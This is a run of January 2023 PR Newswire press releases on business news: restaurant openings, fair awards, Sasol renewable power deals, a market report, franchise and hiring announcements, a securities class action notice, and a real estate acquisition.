"Salad and Go has brought fresh, nutritious and affordable food to markets across Texas this year with over 30 locations operating in the Dallas-Fort Worth area, and our plans for the state aren't anywhere close to done," said Charlie Morrison, CEO of Salad and Go. "The three new locations opening in Houston create more opportunities to continue our mission and show Houstonians that healthy eating doesn't have to be expensive or hard to find. Salad and Go cares about providing access to healthy food in its communities and is committed to sharing the experience with more cities around the nation."

As Salad and Go continues growing its national presence with a strong focus on Arizona, Texas, Oklahoma, and Nevada, the brand's expansive growth has it on a positive trajectory to provide fresh and affordable food to communities in more than 125 locations by the end of 2023. Houston is the next step in the brand's expansion across Texas with plans to open additional stores in the market throughout the new year.

Salad and Go's chef-curated menu provides guests with food for any time of the day by offering a variety of delicious and healthy items including salads, wraps, breakfast burritos and soup as well as beverages including hand-crafted lemonades, teas and cold brew coffees.

Salad and Go ensures each meal contains fresh, quality ingredients while keeping prices low by vertically integrating operations and distribution, and sourcing ingredients directly from high-quality local farmers and suppliers whenever possible. The brand's mission to make fresh, nutritious food convenient and affordable for ALL extends beyond its stores and is demonstrated in the work the brand does to donate 4,000 meals every week to those in need, as well as in partnerships with nonprofits to support and fundraise for various worthy causes.

Ahead of the grand opening, Salad and Go is partnering with the Houston Food Bank to donate all salads created during training week to local organizations in need. In preparation for opening day and commitment to serving the local community, Salad and Go team members will prepare around 1000 salads per store to go to those in need.

For more information about the brand visit https://www.saladandgo.com .

About Salad and Go

Salad and Go is on a mission to make fresh, nutritious food convenient and affordable for ALL. The concept is an industry disruptor, making meals that are not only convenient and affordable, but good for the guest and the local community. The use of raw, fresh ingredients in chef-curated recipes offer nutrient rich meals that are delicious and satisfying. All menu items at Salad and Go are made to order with quality, fresh ingredients. Built on a model of speed and efficiency, Salad and Go is able to serve made-to-order meals quickly and at exceptionally low prices. Salad and Go was founded in 2013 in Gilbert, Arizona. The company currently operates more than 80 locations across Arizona, Oklahoma and Texas.

SOURCE Salad and Go
SAN MATEO, Calif., Jan. 23, 2023 /PRNewswire/ -- The San Mateo County Event Center and Fair is proud to announce that it has won the prestigious Western Fairs Association Merrill Award for its 2022 Farmworker Heroes Appreciation Day at the Fair. The Merrill Award, named in honor of Western Fairs Association Founder Louis Merrill, and is awarded to Fair programs that clearly demonstrate innovation, vision, and excellence. It is the highest honor that a Fair can receive.

The San Mateo County Fair team is committed to inclusion and diversity Recognizing how hard Farmworkers in our community and throughout the U.S work to provide food, often during extreme conditions including severe weather, fires, and during the pandemic, and who too often go unrecognized. The Fair staff created an educational and recognition program celebrating their hard work, and the legacy of Cesar Chavez, Larry Itliong and Dolores Huerta. A curated exhibit in partnership with the National Chavez Center, Cesar Chavez Foundation and local non-profit association, ALAS (Ayundando Latinos A Sonar) was established with over 100 photographs.

Additional educational content was developed to share and celebrate the enormous contributions of Farmworkers, and Cesar Chavez.

An exciting aspect of this curated exhibit is that it will be shared with schools and other county fairs throughout California as a traveling educational exhibit; amplifying the messaging of what our Farmworkers do and how important they are.

The San Mateo County Fair is proud to have had the opportunity to recognize our Farmworkers and their essential contributions to our daily lives. "It has been a privilege to recognize the hard work and dedication of our Farmworkers," said Dana Stoehr, CEO of the San Mateo County Event Center & Fair. "This award is a testament to our Farmworkers, the legacy of Cesar Chavez, our team and the San Mateo County community."

The Farmworker Heroes Appreciation Day was a huge success, educating tens of thousands of visitors to the fair on how important our Farmworkers are and acknowledge and celebrate their hard work. We are thrilled to have received this recognition and will continue to showcase and celebrate the contributions of Farmworkers in our community.

We want to thank the Western Fairs Association for recognizing our efforts, and we look forward to continuing our work toward hosting a fair that is inclusive and celebrates the diversity of San Mateo County.

"Farmworker Heroes Day is more than just a one-time event," added Justin Aquino, Fair Operations Manager at the San Mateo County Event Center & Fair. "It is an educational exhibit designed to educate our public and acknowledge and celebrate individuals who keep our food system running."

We invite everyone to join us in celebrating Farmworker Heroes Day and recognizing the invaluable contributions of Farmworkers at the San Mateo County Fair, June 3-11, 2023. More information about the event, including a schedule of activities, will be available on our website closer to the event start date.

ABOUT THE SAN MATEO EVENT CENTER

During COVID, the San Mateo Event Center was unable to host most events but instead played a vital role in protecting our health care workers and most vulnerable populations by serving as a COVID-19 testing site, operations hub, and supply center, 250-bed temporary overflow hospital, and vaccine distribution center for the San Francisco Bay Area. To date, the Event Center has administered 250,000 COVID-19 tests and vaccinated more than 90,000 individuals.

ABOUT THE SAN MATEO COUNTY FAIR

The award-winning San Mateo County Fair is the Peninsula's premier community event for family, fun, and entertainment. The San Mateo County Fair strives to provide a diverse experience through cross cultural education, inspiration, and entertainment that reaches out to underserved communities. Celebrations such as Dia De Le Feria, Pacific Islands Day, Black History Museum, Family PRIDE Day and other special days provide recognition to all members of our community. The annual Fair represents a celebration of our community's talent, interests, innovations, and rich agricultural and artistic heritage.

SOURCE San Mateo County Fair
JOHANNESBURG, Jan. 24, 2023 /PRNewswire/ --

PRODUCTION AND SALES METRICS FOR THE SIX MONTHS ENDED 31 DECEMBER 2022

Sasol has published its production and sales performance metrics for the 6 months ended 31 December 2022 on the Company's website at www.sasol.com, under the Investor Centre section: https://www.sasol.com/investor-centre/financial-results

UPDATE ON RENEWABLE POWER INTEGRATION IN SOUTH AFRICAN OPERATIONS

Sasol has committed to reduce its absolute Greenhouse Gas (GHG) emissions from South African operations by at least 30% by 2030, off a 2017 baseline. Renewable power is a key lever towards Sasol's GHG emission reduction, as part of their transition towards a more sustainable product portfolio.

Sasol is pleased to announce the signing of three power purchase agreements (PPA) for the supply of renewable power to their South African operations, which are subject to meeting certain conditions precedent.

Sasol South Africa Limited (SSA) and Msenge Emoyeni Wind Farm (Pty) Ltd (Msenge) have signed a long-term PPA for the supply of 69MW of wind powered renewable power to our Sasolburg operations. This is key in achieving the first production of green hydrogen generated from renewable energy sources at Sasolburg and progressing their ambition to lead the development of a green hydrogen economy in Southern Africa. The renewable capacity is anticipated to be operational within the first quarter of CY24.

In addition, as part of the decarbonisation of their Southern African value chain, Sasol and Air Liquide have signed two long-term PPA's with Enel Green Power for the supply of a total capacity of 220MW of wind powered renewable power to their Secunda operations. The projects are expected to be operational in 2025. The concluded agreements are the first as part of a joint procurement initiative with Air Liquide and demonstrates Sasol's commitment to procuring 1 200MW of renewable energy capacity by 2030.

For further information, please contact:

Sasol Investor Relations,

Tiffany Sydow, VP Investor Relations

Telephone: +27 (0) 71 673 1929

[email protected]

Disclaimer - Forward-looking statements

Sasol may, in this document, make certain statements that are not historical facts and relate to analyses and other information which are based on forecasts of future results and estimates of amounts not yet determinable. These statements may also relate to our future prospects, expectations, developments, and business strategies. Examples of such forward-looking statements include, but are not limited to, the impact of the novel coronavirus (COVID-19) pandemic, and measures taken in response, on Sasol's business, results of operations, markets, employees, financial condition and liquidity; the effectiveness of any actions taken by Sasol to address or limit any impact of COVID-19 on its business; the capital cost of our projects and the timing of project milestones; our ability to obtain financing to meet the funding requirements of our capital investment programme, as well as to fund our ongoing business activities and to pay dividends; statements regarding our future results of operations and financial condition, and regarding future economic performance including cost containment, cash conservation programmes and business optimisation initiatives; recent and proposed accounting pronouncements and their impact on our future results of operations and financial condition; our business strategy, performance outlook, plans, objectives or goals; statements regarding future competition, volume growth and changes in market share in the industries and markets for our products; our existing or anticipated investments, acquisitions of new businesses or the disposal of existing businesses, including estimates or projection of internal rates of return and future profitability; our estimated oil, gas and coal reserves; the probable future outcome of litigation, legislative, regulatory and fiscal developments, including statements regarding our ability to comply with future laws and regulations; future fluctuations in refining margins and crude oil, natural gas and petroleum and chemical product prices; the demand, pricing and cyclicality of oil, gas and petrochemical product prices; changes in the fuel and gas pricing mechanisms in South Africa and their effects on prices, our operating results and profitability; statements regarding future fluctuations in exchange and interest rates and changes in credit ratings; total shareholder return; our current or future products and anticipated customer demand for these products; assumptions relating to macroeconomics; climate change impacts and our climate change strategies, our development of sustainability within our Energy and Chemicals Businesses, our energy efficiency improvement, carbon and GHG emission reduction targets, our net zero carbon emissions ambition and future low-carbon initiatives, including relating to green hydrogen and sustainable aviation fuel; our estimated carbon tax liability; cyber security; and statements of assumptions underlying such statements. Words such as "believe", "anticipate", "expect", "intend", "seek", "will", "plan", "could", "may", "endeavour", "target", "forecast" and "project" and similar expressions are intended to identify forward-looking statements but are not the exclusive means of identifying such statements. By their very nature, forward-looking statements involve inherent risks and uncertainties, both general and specific, and there are risks that the predictions, forecasts, projections, and other forward-looking statements will not be achieved. If one or more of these risks materialise, or should underlying assumptions prove incorrect, our actual results may differ materially from those anticipated. You should understand that a number of important factors could cause actual results to differ materially from the plans, objectives, expectations, estimates and intentions expressed in such forward-looking statements. These factors and others are discussed more fully in our most recent annual report on Form 20-F filed on 31 August 2022 and in other filings with the United States Securities and Exchange Commission. The list of factors discussed therein is not exhaustive; when relying on forward-looking statements to make investment decisions, you should carefully consider foregoing factors and other uncertainties and events, and you should not place undue reliance on forward-looking statements. Forward-looking statements apply only as of the date on which they are made, and we do not undertake any obligation to update or revise any of them, whether as a result of new information, future events or otherwise.

SOURCE Sasol Limited
DUBLIN, Jan. 24, 2023 /PRNewswire/ -- The "Saudi Arabia Dental Implants Market, By Material (Titanium v/s Zirconium), By Design (Tapered v/s Parallel-Walled), By Type (Root-Form v/s Plate-Form), By Connection Type, By Procedure, By Application, By End User, By Region, Competition Forecast & Opportunities, 2027" report has been added to ResearchAndMarkets.com's offering.

Saudi Arabia dental implants market is bound to experience impressive growth with anticipated CAGR in the forecast period, 2023-2027, on the account of prevailing dental conditions, and oral diseases among the population of the country. Increasing geriatric population of the country is further driving the growth of the Saudi Arabia dental implants market.

Increasing Demand from Population Drives Market Growth

Rapidly increasing geriatric population of the country is the most important driving factor of the growth of Saudi Arabia dental implants market in the upcoming five years.

Instances of oral diseases and dental surgeries in the geriatric population is higher as compared to the younger population is anticipated to support the growth of the Saudi Arabia dental implants market in the next five years. Also, increasing demand for tooth aesthetics among the younger population is also supporting the growth of the Saudi Arabia dental implants market in the future five years.

Advantages of going through with a dental implant along with cost-effective nature of the procedure further endorses the growth of the Saudi Arabia dental implants market in the forecast years. In recent research conducted among the selected population of the Saudi Arabia in 2020, approximately 67% of the population preferred dental implants over other oral treatments based on its advantage and patient comfort during and after the procedure.

Increasing Dental Practitioners Support Market Growth

Rapidly increasing number of oral disorder experts, dental practitioners, and dental surgeons are further driving the growth of the Saudi Arabia dental implants market in the upcoming five years. Increasing demand enhanced healthcare services for dental problems.

The number of dentists, and dental surgeons are steadily growing due to provided expert education and practices. Moreover, increased research and product development for the innovative products along with their adaptations through expert recommendations is also supporting the growth of the Saudi Arabia dental implants market in the next five years.

Although, advancing technologies like laser treatment to remove tooth decay, removing bacteria during root canal procedure, and eradicating lesions are also supporting the growth of the Saudi Arabia dental implants market in the future five years.

Competitive Landscape

Company Profiles: Detailed analysis of the major companies present in Saudi Arabia dental implants market.

Masar Medical Co. (Straumann)

Keydent Est.

Zimmer Biomet Saudi Arabia

Dentsply Sirona Saudi Arabia

Henry Schein Saudi Arabia

Report Scope:

Saudi Arabia Dental Implants Market, By Material:

Titanium

Zirconium

Saudi Arabia Dental Implants Market, By Design:

Tapered

Parallel-Walled

Saudi Arabia Dental Implants Market, By Type:

Root-Form

Plate-Form

Saudi Arabia Dental Implants Market, By Connection Type:

Internal

External

One-Piece

Saudi Arabia Dental Implants Market, By Procedure:

One-Stage & Two Stage Surgeries

Immediate Loading

Saudi Arabia Dental Implants Market, By Application:

Single Tooth Replacement

Multi-Tooth Bridge Securement

Saudi Arabia Dental Implants Market, By End User:

Hospitals & Clinics

Dental Laboratories

Others

Saudi Arabia Dental Implants Market, By Region:

Southern Region

Eastern Region

Western Region

Northern & Central region,

For more information about this report visit https://www.researchandmarkets.com/r/egdupr

About ResearchAndMarkets.com

ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends.

Media Contact: Laura Wood | +353-1-481-1716 | [email protected]

Logo: https://mma.prnewswire.com/media/539438/Research_and_Markets_Logo.jpg

SOURCE Research and Markets
Shawn Cothran Now Leads Award-Winning Senior Care Services in Wake County

WAKE FOREST, N.C., Jan. 24, 2023 /PRNewswire/ -- Always Best Care Senior Services, one of the leading senior care franchise systems in the United States, announced today that Shawn Cothran is the new owner of the Wake Forest-North Raleigh franchise. Always Best Care of Wake Forest-North Raleigh has been serving Wake County residents since 2009 and is one of nine Always Best Care agencies across North Carolina. An Apex native, Cothran joined this local Always Best Care team as an employee in 2021 and is proud to now be leading and growing a team of caregivers that provide non-medical in-home care and senior living referral services to his hometown community.

"Shawn comes from a great background of hospitality and senior care leadership positions, and he is a great fit for what we look for in a franchisee," said Jake Brown, President and CEO of Always Best Care. "The growing senior population and their families in Wake Forest-North Raleigh are in experienced and compassionate hands, as Shawn pursues his business ownership with Always Best Care."

Cothran has over 18 years of experience in senior care, previously working in dining services and then as an executive director for assisted living communities in California and North Carolina. Before joining the industry, he was an executive chef in Chicago. Having worked in two different realms of hospitality service, Cothran knows how to translate those important skills to his new business.

"I'm looking forward to making an impact in this community by providing seamless and high-quality service and comforting in-home care to as many seniors in the Wake Forest-North Raleigh area as possible. With my experience in senior living facilities, I understand the importance of giving the elderly and their families the assurance of caring companionship and professional home helper services," said Shawn Cothran, owner and agency director of Always Best Care Wake Forest-North Raleigh. "I've grown to love my involvement in such a rewarding industry, knowing that every person that contacts my Always Best Care location for assistance, will be taken care of."

Always Best Care is one of the nation's leading providers of non-medical in-home care and assisted living referral service. The company delivers its services through an international network of more than 225 independently owned and operated franchise territories throughout the United States and Canada. By working with case managers, social workers, discharge planners, doctors, and families, Always Best Care franchise owners provide affordable, comprehensive solutions that can be specifically matched to meet a client's particular physical or social needs.

For additional information on services available through Always Best Care of Wake Forest-North Raleigh or for a free evaluation, please call (919) 651-1584 or visit https://www.alwaysbestcare.com/nc/wake-forest/.

About Always Best Care

Founded in 1996, Always Best Care Senior Services is based on the belief that having the right people for the right level of care means peace of mind for the client and family. Always Best Care has been assisting seniors with a wide range of conditions and personal needs for over 25 years and currently provides thousands of hours of care every year.

Always Best Care also offers exclusive programs such as Always in Touch, Balance Tracking System and remote patient monitoring. For more information regarding Always Best Care's solutions, visit www.alwaysbestcare.com.

CONTACT:

Taylor Stapleton

Fish Consulting

561-523-0989

[email protected]

SOURCE Always Best Care
Winners will receive recognition from a judging panel of industry luminaries

DETROIT, Jan. 24, 2023 /PRNewswire/ -- Seraph , a global enterprise supply chain, operations and manufacturing consultancy with a prominent presence in the automotive sector, today announced the launch of the 2023 Operational Excellence Awards . The Awards will recognize automotive manufacturing facilities in North America at the top of their game across five categories. Nominations are open until March 17, followed by a June 15 event celebrating the finalists, at Chroma in Detroit.

"This award will bring the automotive industry together to reward and celebrate manufacturing excellence. We are developing an esteemed panel of judges who will award five manufacturing categories: Quality Excellence; HR Excellence; Logistics Excellence; Operational Excellence; and Overall Best Supplier," said Thomas Kowal, president, Seraph.

Seraph Operational Excellence Award winners will receive recognition from a highly regarded panel of judges consisting of automotive experts who are at the top of their field, including:

John Dunn , President, Fleet Vehicles and Services, The Shyft Group - a leader in specialty vehicle manufacturing

, President, Fleet Vehicles and Services, The Shyft Group - a leader in specialty vehicle manufacturing Michael Fayhe, CEO, DB Shenker  a leader in supply chain management and logistics solutions

 a leader in supply chain management and logistics solutions Chris Grabmiller , CEO, Staffbright - an award-winning head-hunting organization

, CEO, - an award-winning head-hunting organization Jim Barberetta, General Manager, Brose Tuscaloosa and Gloria Blanchard , HR Manager, Brose - the world's fourth-largest family-owned automotive supplier

, HR Manager, - the world's fourth-largest family-owned automotive supplier Kerry Curvey , HR Vice President, Purem  a leader in emission control systems and acoustic solutions

"The purpose of this award is to promote and encourage expansion of manufacturing in North America, as the consequences of globalization have created more risk in the supply chain. To do this, we need to continually improve, find 'model areas' and develop best practices in the industry," said Thomas Kowal.

The awards assessment process consists of three application phases:

In the first phase, applicants must pre-register on the Seraph Operational Excellence Awards website . Once enrolled, each applicant will be reviewed by a Seraph team member to validate that their organization qualifies as an automotive supplier based in North America . Once validated, the applicant will receive a welcome letter with the link to submit their nomination application.



In phase two, the Seraph team will conduct an on-site audit at the top eight manufacturing facilities selected from phase one.



The top eight selected plant facilities will undergo an extensive evaluation to determine their operational excellence. Seraph will lead a comprehensive evaluation of: safety environment; cleanliness and order; visual management deployment; scheduling system effectiveness; product flow space use and material management; inventory work in progress (WIP) levels; human capital development; teamwork and motivation; equipment tooling state maintenance; ability to manage complexity and variability; supply chain integration; and quality system deployment.



In the third phase, the panel of judges will review the results of the plant evaluation to determine the five winners in the above categories.

"The Seraph Operational Excellence Awards provide an opportunity for top automotive suppliers to stand out, receive well-deserved recognition, set industry model standards, and ultimately distinguish themselves as a high-quality operation. After three years of adapting to overcome substantial global challenges, it's the right time to celebrate high achievers in such a vital industry," said Ambrose Conroy, founder and CEO, Seraph.

About Seraph

A global enterprise consulting firm that partners with business leaders to handle their most complex supply chain, operations and manufacturing challenges, delivering long-term operational and leadership improvements. Seraph has extensive on-site industry experience in the automotive, private equity, defense, medical device, electronics, energy infrastructure, and engineering sectors. The Seraph leadership team brings vast expertise across: crisis management, mergers, acquisitions, due-diligence, restructuring, turn-around services, product launches and logistics. Our four phase process has been proven to provide quick payback and positive ROI, which is measured throughout the customer engagement. Learn more at www.seraph.com and follow Seraph on LinkedIn .

Media Contact:

Ariane Wolff, Senior Vice President, Warner Communications

[email protected]

SOURCE Seraph
Excellence in Product Development, Customer-Driven Innovation and Collaboration lead to substantial non-paint category sales growth in 2022

CLEVELAND, Jan. 24, 2023 /PRNewswire/ -- Sherwin-Williams honored seven 2022 Vendor of the Year award winners across four categories this week during its annual National Sales Meeting in Orlando, FL. Four companies were named Vendor of the Year, and three additional winners were selected in the Innovative Product of the Year, Productive Solutions Award and Marketing Innovation Award categories. Award winners were honored for providing high-quality products and an unwavering commitment to the success of Sherwin-Williams by delivering on customers' needs.

"Building on momentum from 2021, Sherwin-Williams experienced continued growth in non-paint categories, which is in part due to the outstanding creativity, commitment and engagement from our vendor partners and suppliers," said Tracey Gairing, Vice President of Procurement at Sherwin-Williams. "We are pleased to recognize a few of the many who performed at outstanding levels to find opportunities to grow sales within their product lines. We look forward to continuing to work with our partners to accelerate growth in 2023."

2022 Vendor of the Year

Vendor of the Year Award recipients are top sales performers who continue to raise the bar in delivering outstanding quality, innovation, and value to Sherwin-Williams stores and distribution centers.

Shaw Industries: A six-time Vendor of the Year winner, Shaw Industries' 2022 efforts resulted in double-digit sales growth across all divisions. The company proactively worked with Sherwin-Williams national account teams, driving turnkey success for customers with their dedicated account managers supporting the business. In addition, Shaw Industries worked closely with Sherwin-Williams teams to develop a core product sample offering that simplifies the product selection process and drives exclusive solutions.

Allway Tools: First-time Vendor of the Year winner, Allway Tools used insights to help understand the voice of Sherwin-Williams customers and provide products that accelerate growth. Allway Tools had near-perfect service levels with Sherwin-Williams throughout the year, making them a reliable vendor amid supply chain challenges.

Dumond Inc.: Four-time Vendor of the Year winner, Dumond Inc. trains Sherwin-Williams managers, representatives and customers on their product offerings, including how and when to use their products on projects. The company helps Sherwin-Williams team members convert opportunities by training customers and field teams within 48 hours of being contacted to ensure success.

Poly-America: A long-time supplier and five-time recipient of the Vendor of the Year award, Poly-America is recognized for delivering on its "no-fail policy," achieving 100 percent service levels for both on-time deliveries and order completions. They have a dedicated team that works with Sherwin-Williams stores and salespeople to provide product information, sourcing and any other needs that arise.

2022 Innovative Product of the Year

Painter's Storage Box by Purdy: Purdy worked with Pros in developing a Pro-centric storage and transport solution designed for the needs of painters. The product alleviates the time it takes painters to collect all the sundries needed to complete a job and get them to and from a jobsite. By adding a completely new category, tool storage and transport, Purdy defined a problem and provided a solution while reinforcing their brand promise of "for Pros by Pros."

2022 Productive Solutions Award

The Sherwin-Williams Productive Solutions Award honors a vendor working alongside Sherwin-Williams toward fulfilling its important goal to be a productive partner for the professional painter, providing products and services to help the Pro contractor achieve more in less time.

Festool: Festool is recognized for simplifying challenging and labor-intensive prep work. From requiring less time and physical effort to achieve better results, to smooth and well-prepped surfaces that ensure an exceptional paint job, Festool leverages advanced technologies and system solutions to create the best paintable substrates. Its tools, abrasives and vacuums demonstrate measurable time and labor savings to pros versus traditional sanding methods.

2022 Marketing Innovation Award

The Sherwin-Williams Marketing Innovation Award highlights a partner that collaborates to better understand how Sherwin-Williams customers shop and reach them in a new way.

3M: 3M prioritized learning about Sherwin-Williams Pro customer base, facilitating research projects on shopping behaviors, category preferences and Hispanic customers. The company did a comprehensive data evaluation to bring awareness to trends by customer type, region and other variables allowing them to better connect with customers. 3M adjusted pack sizes on core products to better align with Pro purchase behavior, identified and launched a digital targeting opportunity with Hispanic customers, and ran field training sessions in key markets.

Ask Sherwin-Williams

For more than 155 years, Sherwin-Williams has been an industry leader in the development of technologically advanced paint and coatings. As the nation's largest specialty retailer of paint and painting supplies, Sherwin-Williams is dedicated to supporting both do-it-yourselfers and painting professionals with exceptional and exclusive products, resources to make confident color selections and expert, personalized service at its more than 4,800 neighborhood stores across North America. For more information, visit sherwin-williams.com. Join Sherwin-Williams on Facebook, Twitter, Pinterest, TikTok, Instagram and LinkedIn.

Contact:

[email protected]

SOURCE The Sherwin-Williams Company
NEW YORK, Jan. 24, 2023 /PRNewswire/ -- The Klein Law Firm announces that a class action complaint has been filed on behalf of shareholders of Silvergate Capital Corporation (NYSE: SI) alleging that the Company violated federal securities laws.

Class Period: November 11, 2020 to January 5, 2023

Lead Plaintiff Deadline: February 6, 2023

No obligation or cost to you.

Learn more about your recoverable losses in SI:

https://www.kleinstocklaw.com/pslra-1/silvergate-capital-corporation-loss-submission-form?id=35836&from=4

Silvergate Capital Corporation NEWS - SI NEWS

CLASS ACTION CASE DETAILS: The filed complaint alleges that Silvergate Capital Corporation made materially false and/or misleading statements and/or failed to disclose that: (1) the Company's platform lacked sufficient controls and procedures to detect instances of money laundering; (2) Silvergate's customers had engaged in money laundering in amounts exceeding $425 million; (3) as a result of the foregoing, the Company was reasonably likely to receive regulatory scrutiny and face damages, including penalties and reputational harm; and (4) as a result of the foregoing, defendant's positive statements about the Company's business, operations, and prospects were materially misleading and/or lacked a reasonable basis.

WHAT THIS MEANS TO YOU AS A SHAREHOLDER: If you have suffered a loss in Silvergate you have until February 6, 2023 to petition the court for lead plaintiff status. Your ability to share in any recovery doesn't require that you serve as a lead plaintiff.

NO COST TO YOU: If you purchased Silvergate securities during the relevant period, you may be entitled to compensation without payment of any out-of-pocket fees.

HOW TO PROTECT YOUR FINANCIAL INTERESTS: For additional information about the SI lawsuit, please contact J. Klein, Esq. by telephone at 212-616-4899 or click this link: https://www.kleinstocklaw.com/pslra-1/silvergate-capital-corporation-loss-submission-form?id=35836&from=4.

ABOUT KLEIN LAW FIRM

J. Klein, Esq. represents investors and participates in securities litigations involving financial fraud throughout the nation. The Klein Law Firm is a boutique litigation firm with experience in a wide range of areas including securities law, corporate finance and commercial litigation. Since 2011, our experienced attorneys have achieved superior results for our clients with a personalized focus. Attorney advertising. Prior results do not guarantee similar outcomes.

CONTACT:

J. Klein, Esq.

535 Fifth Avenue

4th Floor

New York City, NY 10017

[email protected]

Telephone: (212) 616-4899

www.kleinstocklaw.com

SOURCE The Klein Law Firm
Greenville, SC is the latest Carolinas location for steadily growing family law firm

GREENVILLE, S.C., Jan. 24, 2023 /PRNewswire/ -- Sodoma Law , a full-service family law firm, known for its advocacy in divorce and custody cases, is announcing the opening of Sodoma Law Greenville. Sodoma Law attorney Kelsey Queen has been named Managing Attorney and will lead the Greenville, SC office. In addition to this newest location, Sodoma Law offices include its headquarters in Charlotte, NC in the historic Graham building, as well as Sodoma Law Union in Monroe, NC, Sodoma Law North in Cornelius, NC, and Sodoma Law York in Rock Hill, SC.

"We are excited to extend our family law practice to the Greenville, South Carolina area," said Nicole Sodoma, Managing Principal, Sodoma Law. "Led by Kelsey Queen, Sodoma Law Greenville will continue our mission of connecting clients with compassionate and tenacious attorneys who are outstanding client advocates. Since our doors opened almost 15 years ago, I have planned to open in Greenville. I am thrilled that we have the opportunity to become an integral part of that community."

While the Sodoma Law Greenville office is focused on all aspects of family law and divorce, clients benefit from Sodoma Law's full-service approach, with access to a range of practice areas including estate planning and mediation, as well as surrogacy and adoption, across the firm's locations.

The new office arrives less than two years after the opening of Sodoma Law North , located in Cornelius, North Carolina in North Mecklenburg County. The Greenville, SC firm is already looking to expand its team with the addition of an experienced family law attorney and litigation paralegal. See the firm's employee site for more information.

About Sodoma Law

Sodoma Law is headquartered in Charlotte, North Carolina, with additional NC locations in Monroe, Union County; Cornelius, North Mecklenburg County; and in South Carolina in Rock Hill, York County, and now Greenville, Greenville County. The firm's areas of practice include Family Law, Adoption, Mediation, and Estate Planning. Sodoma Law includes multiple certified Parenting Coordinators and attorneys with substantial Guardian ad Litem experience.

Connect with Sodoma Law: Facebook | Twitter | LinkedIn | YouTube

Contact:

Ariane Wolff, Warner Communications

[email protected]

SOURCE Sodoma Law, P.C.
The Acquisition Brings Together LUXHABITAT Sotheby's International Realty in Dubai and United Kingdom Sotheby's International Realty

NEW YORK, Jan. 24, 2023 /PRNewswire/ -- Sotheby's International Realty today announced that its independently owned and operated affiliate, LUXHABITAT Sotheby's International Realty in Dubai, has acquired United Kingdom Sotheby's International Realty. The firm is now owned and operated by George Azar, who is also the CEO of LUXHABITAT Sotheby's International Realty. The firm will continue to operate as United Kingdom Sotheby's International Realty.

United Kingdom Sotheby's International Realty will benefit from the depth of experience brought by Azar, as his firm has amassed a majority of luxury real estate market share in the United Arab Emirates, and access to an extended network of international buyers.

"The integration of LUXHABITAT Sotheby's International Realty and United Kingdom Sotheby's International Realty combines the expertise and prestige of two prominent real estate firms in the EMEIA region," said Philip White, president and CEO of Sotheby's International Realty. "George and his team have achieved record growth consistently over the years and are committed to strategic expansion, which is a strong value for our brand. We greatly look forward to supporting their endeavors."

"LUXHABITAT Sotheby's International Realty in the United Arab Emirates has developed a global reputation as a leading player in luxury properties," said Azar. "Our primary focus at United Kingdom Sotheby's International Realty will be to further add value, grow existing market share, and leverage our experience and connections to drive transactions on a local and global level. Through this acquisition, we will be able to offer a unique experience while bringing the same passion and professionalism that clients have come to expect from the firm."

George Azar brings more than 15 years of real estate experience to the company. In the last 10 years, LUXHABITAT Sotheby's International Realty UAE office has done over AED$22 billion in sales transactions and in 2022, average property transactions were above AED$20 million with numerous high-profile transactions, setting local records. The firm also represents exclusive projects, such as Four Seasons Private Residences, Baccarat Residences, Atlantis the Royal Residences, One&Only Private Homes, One Zabeel, and 1 Residences.

The Sotheby's International Realty network currently has nearly 26,000 affiliated independent sales associates located in over 1,000 offices in 81 countries and territories worldwide. United Kingdom Sotheby's International Realty listings are marketed on the sothebysrealty.com global website. In addition to the referral opportunities and widened exposure generated from this source, the firm's brokers and clients will benefit from an association with Sotheby's auction house and worldwide Sotheby's International Realty marketing programs. Each office is independently owned and operated.

Sotheby's International Realty

Sotheby's International Realty was founded in 1976 as a real estate service for discerning clients of Sotheby's auction house. Today, the company's global footprint spans more than 1,000 offices located in 81 countries and territories worldwide, including 50 company-owned brokerage offices in key metropolitan and resort markets. In February 2004, Anywhere Real Estate Inc. entered a long-term strategic alliance with Sotheby's, the operator of the auction house. The agreement provided for the licensing of the Sotheby's International Realty name and the development of a franchise system. The franchise system is comprised of an affiliate network, where each office is independently owned and operated. Sotheby's International Realty supports its affiliates and agents with a host of operational, marketing, recruiting, educational and business development resources. Affiliates and agents also benefit from an association with the venerable Sotheby's auction house, established in 1744. For more information, visit www.sothebysrealty.com.

The affiliate network is operated by Sotheby's International Realty Affiliates LLC, and the company owned brokerages are operated by Sotheby's International Realty, Inc. Both entities are subsidiaries of Anywhere Real Estate Inc. (NYSE: HOUS) a global leader in real estate franchising and provider of real estate brokerage, relocation and settlement services. Both Sotheby's International Realty Affiliates LLC and Sotheby's International Realty, Inc. fully support the principles of the Fair Housing Act and the Equal Opportunity Act.

Media contact:

Melissa Couch

Senior Manager, Public Relations & Communications

[email protected]

SOURCE Sotheby's International Realty
Longtime Podcast Evangelist Brings Over 21 Years of Experience, Sets the Stage for Enormous Growth in Podcast Advertising

PHOENIX, Jan. 24, 2023 /PRNewswire/ -- Soundrise, the premier revenue-focused partner for mission-driven, independent podcasting, today announced that Jay Green has joined as Senior Vice President of Strategy & Operations along with previous Kantar VP, Lovlyn Corbett , who will be the new Director of National Accounts. After spinning off from the successful public media advertising company Market Enginuity in late 2022, Soundrise has made strides in podcast advertising, supporting some of the most popular podcasts distributed by PRX.

A leader in the audio industry and specifically podcasting for more than two decades, Jay brings an extensive track record of building and scaling teams, driving revenue growth, and fostering industry-leading partnerships and thought leadership to Soundrise. Previously the Senior VP, Podcast Strategy and Operations at Audacy-owned podcast studio Cadence13, Jay has been a longtime champion of podcasting, with proven experience and industry relationships. As one of the first partners for much of the evolving tech and data in the space including Nielsen's Podcast Listener Buying Power, Claritas, IRI Kantar MWB, Jay brought national brand recognition to podcasting. At Soundrise, he will help shine that light on independent creators and create greater value for both brands and advertisers. Soundrise also strengthens its sales engine with the addition of Lovlyn, who will work to connect values-aligned brands with premium podcasts to help achieve marketing goals.

"Podcasting has seen incredible growth in what we can do to tie brands and creators together. Soundrise has prioritized the independent creators who are doing what they love and entertaining us all. Creators, advertisers, and listeners all deserve a rewarding experience, and Soundrise has an achievable vision of how to create this ideal ecosystem," said Jay Green, the new SVP of Strategy & Operations at Soundrise. "The future of this industry depends on our ability to foster independence and content diversity, and I'm excited to help Soundrise push the boundaries of what we can do with audio."

